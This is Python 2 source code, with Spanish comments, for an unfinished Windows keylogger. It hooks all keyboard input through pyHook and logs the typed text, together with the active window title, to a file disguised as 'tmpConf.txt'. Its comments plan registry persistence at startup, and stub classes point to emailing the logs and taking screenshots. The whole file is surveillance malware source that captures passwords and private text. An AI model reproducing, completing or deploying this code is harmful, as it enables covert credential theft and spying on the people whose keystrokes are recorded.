#!/usr/bin/env python
# -*- coding: utf-8 -*- 

#Atributos que debe tener
#Movel el registro de windows y colocarse en el arranque del mismo
#checar si el usuario no es admin solo se tienen que remover el binario
#

#Default Configuration Vars
LOG_FILENAME = 'tmpConf.txt'    # log file (current directory)
#LOG_TOSEND = []                    # contains files to send in email attachment #LA MOVEMOS A LA CLASE
LOG_ACTIVE = ''                    # stores active window # LA MOVEMOS A LA CLASE
#LOG_STATE = False                # Start keylogger as false #No veo por que usarla, se remuve
LOG_TIME = 0
#============Logging
MAX_LOGFiles = 0
MAX_FileSize = 5242880
#======================
#LOG_TEXT = ""                    # this is the raw log var which will be written to file #Ya tenemos buffer en la clase
#LOG_TEXTSIZE = 0                # marks the beginning and end of new text blocks that separate logs # No se para que es
#LOG_MINTERVAL = 60            # main loop intervals in seconds, where 86400 = 1 day (default) # se pasa a la clase
#LOG_THREAD_kl = 0                # thread count for keylogger # se pasan a la clase
#LOG_THREAD_ss = 0                # thread count for automated screenshots # Se pasan a la clase.
import logging, os,sys, win32api, pyHook, pythoncom, win32gui
import logging.handlers
from datetime import datetime

class MailSender(object):
    def __init__(self, user, password):
        self.user = user
        self.password = password

class PhotoKey(object):
    """
    self.Status - Si la variable es poitivia este modulo se encendera y enviara mail de lo contrario no lo hara.
    """
    def __init__(self, Status = 'yes', Interval = 5, ScreenPerInt = 3):
        self.Status = Status
        self.Interval = Interval
        self.ScreenPerInt  = ScreenPerInt

class KL(object):
    """
        self.KeyStrokes - Cantidad de teclas precionadas, para mantener estadisticas
        self.PhotoStrokes - Cantidad de Imagenes capturadas
        logging - Objeto donde guardaremos los logs de la aplicacion
        self.FileLog - Nombre del archivo donde loggear  Usar la harramienta de python de loggin import logging
        self.timeRunning - Tiempo que llevamos corriendo.
    """
    Enter = "|Enter|"
    Tab = "|tab|"
    class LoggingLevel(object):
            info = 'info'
            warn = 'warn'
    class KeyboardHandler(object):
        "Hacer que la calse se inicialize con init poniendo como parametro el nombre del handler a usar"
        KeyHandler = '_BassicKeyboardLogger'
    def __init__(self, FileName):
        self.KeyStrokes = 0
        self.PhotoStrokes = 0
        self.Buff = ""
        #==========================================
        self.myLogging = logging.getLogger('FileLogger')
        self.myLogging.setLevel(logging.DEBUG)
        handler = logging.handlers.RotatingFileHandler(FileName, maxBytes=MAX_FileSize, backupCount=MAX_LOGFiles)
        Format = logging.Formatter('%(asctime)s %(levelname)s %(message)s')
        handler.setFormatter(Format)
        self.myLogging.addHandler(handler)
#         logging.basicConfig(filename=FileName, format = '%(asctime)s %(levelname)s %(message)s', level = logging.DEBUG)
        self.timeRunning = 0
        self.ThreadCnt = 0
        self.ThreadPhotoCnt = 0
        if os.name != "nt":
            logging.error("Sistema Operativo no soportado")
            sys.exit(-1)
        self.MainThread = win32api.GetCurrentThreadId()
        self.CurrentWindow = str(win32gui.GetWindowText(win32gui.GetForegroundWindow()))
        print self.MainThread
    
    def _BassicKeyboardkeyHandling(self, event):
        """TEnemos que omitir el ALT que no se tome como evento"""
#         if len(self.Buff) > 0: #DESPUES DE PONER ESTO YA NO ESCRIBO
        print "Tecla: ", event.Ascii
        print "KeyID", event.KeyID
        print "event hey", event.Key
        if event.Ascii == 8: self.Buff = self.Buff[:-1]
#         elif event.KeyID == 186:
#             return 'AsciiIlegal'
        elif event.Ascii == 13: 
            self.Buff += KL.Enter
            print "longitud del buffer es %d y el buffer es |%s|" % (len(self.Buff), self.Buff)
            print self.Buff
#             self.KLLogging("%s" % (self.Buff), self.LoggingLevel.info)
#             self.Buff = ''
            return 'enter'
        #Si tenemos un ALT+TAB no tenemos que guardar el |tab| key
        elif event.Ascii == 9:
            if event.Alt:
                print 'Encontramos alt+tab'
                return 'alt+tab'
            self.Buff += KL.Tab 
        elif event.Ascii == 0:
#             print 'keyID', repr(event.KeyID)
            return 'AsciiIlegal'
        else: 
            self.Buff += str(chr(event.Ascii)) 
            return 'ascii'
    #         wr.write('hola')
    
    def _BassicKeyboardLogger2(self, event): 
        """
            Loggea los eventos del teclado en el archivo
             |--> Salvar la ventana de donde vienen los eventos
                 Verificar si la ventana es diferente escribir los logs de la ventan
                 Verificar el bug en donde cada vez que se escribe algo con el buff vacios se escribe la primera letra aparte como:
                 2013-08-04 21:53:35,601 INFO e <- Esto debe de ir en cambio ventana 
2013-08-04 21:53:35,602 INFO 
            ================================
            # Cambio de ventana
            # Sin título: Bloc de notas
            ================================
        
2013-08-04 21:53:49,302 INFO mepezamos en bloc alt tab a note pada
        """
        ChangeWindow = """
            ================================
            # Ventana
            # %s
            ================================
        """
        WorkingWindow = str(win32gui.GetWindowText(event.Window))
        ret = self._BassicKeyboardkeyHandling(event)
        if event.Ascii == 46260:
            print 'aaa'
            return False
        if ret == 'AsciiIlegal':
            print 'aca'
            return True
        self.KeyStrokes += 1
        if self.KeyStrokes == 1:
            self.KLLogging(ChangeWindow % (WorkingWindow), self.LoggingLevel.info)
            self.CurrentWindow = WorkingWindow
        #SI es el primer evento y event.ascii == 'a' y no se ha metido al buffer??
        print "self.Current Window: %s ** Workging Window %s" % (self.CurrentWindow, WorkingWindow)
        print "longitud del buffer es %d y el buffer es |%s|" % (len(self.Buff), self.Buff)
        if ret == 'enter':
            self.KLLogging("%s" % (self.Buff), self.LoggingLevel.info)
            self.Buff = ''
#         if ret == 'alt+tab':
#             self.GlaltTab = 1
#         else:
#             self.GlaltTab = 0
#         if (self.CurrentWindow != WorkingWindow) and self.GlaltTab == 1:
#             print 'Self.GlaltTab'
#             return True
        if self.CurrentWindow != WorkingWindow:
            self.KLLogging(self.Buff) #con este funciono bien el log
            print ChangeWindow % (WorkingWindow)
            self.KLLogging(ChangeWindow % (WorkingWindow))
    #             self.KLLogging(self.Buff)
            self.Buff = ""
            self.CurrentWindow = WorkingWindow
            return True
        return True
    
    def _BassicKeyboardLogger(self, event):
        """
        No podemos usar el nombre de la ventana, tenenmos que ir por el pid y en base a eso tomar el nombre, por el momento se deja con el nombre pero hay que cambiarlo.
        Agregar evento similiar a alt tab, para el boton de windows
        """
        ChangeWindow = """
            ================================
            # Ventana
            # %s
            ================================
        """
        self.KeyStrokes +=1
        WorkingWindow = str(win32gui.GetWindowText(event.Window))
        ret = self._BassicKeyboardkeyHandling(event)
        if event.KeyID == 186:
            print event.Key
            return False
        if ret == 'AsciiIlegal':
            return True
        elif ret == 'alt+tab':
            if len(self.Buff)>0:
                self.KLLogging("%s" % (self.Buff), self.LoggingLevel.info)
#                 self.Buff = ''
                self.KLCleanLogBuff()
                return True
            else:
                return True
        elif ret == 'enter':
            self.KLLogging("%s" % (self.Buff), self.LoggingLevel.info)
#             self.Buff = ''
            self.KLCleanLogBuff()
            return True
        elif ((self.CurrentWindow != WorkingWindow) and (len(self.Buff)>0)):
            self.KLLogging(ChangeWindow % WorkingWindow, self.LoggingLevel.info)
#             self.KLLogging(self.Buff, self.LoggingLevel.info)
#             self.Buff = ""
            self.CurrentWindow = WorkingWindow
            return True
        return True
            
            
        
    def KLLogging(self, text, kind=LoggingLevel.info):
#         getattr(logging, kind)(text)
        getattr(self.myLogging, kind)(text)
    
    def KLCleanLogBuff(self):
        self.Buff = ''
    
    def KLLogHeader(self, header="""
            ===========================================================================
            #                                                                         #
            #Logging Started at     %s                        # 
            ###########################################################################
        """ %str(datetime.now())):
        """
        KL Engine
        """
        #ESTO DEBE IR EN EL MAIN ESTAS SON LAS LIBRERIAS.
        self.KLLogging(header, self.LoggingLevel.info)
        self.KLCleanLogBuff()
        
    def HookKeys(self, hookfunction):
        hm = pyHook.HookManager()
#         hm.KeyDown = hookfunction
        hm.KeyDown = getattr(self, hookfunction)
        hm.HookKeyboard()
        pythoncom.PumpMessages()
        

if __name__ == '__main__':
    print "Iniciamos"
    a = KL(LOG_FILENAME)
    a.KLLogHeader()
    a.HookKeys(KL.KeyboardHandler.KeyHandler) # Hacerlo Clase generla como logging
#     a.HookKeys(GeneralKL)a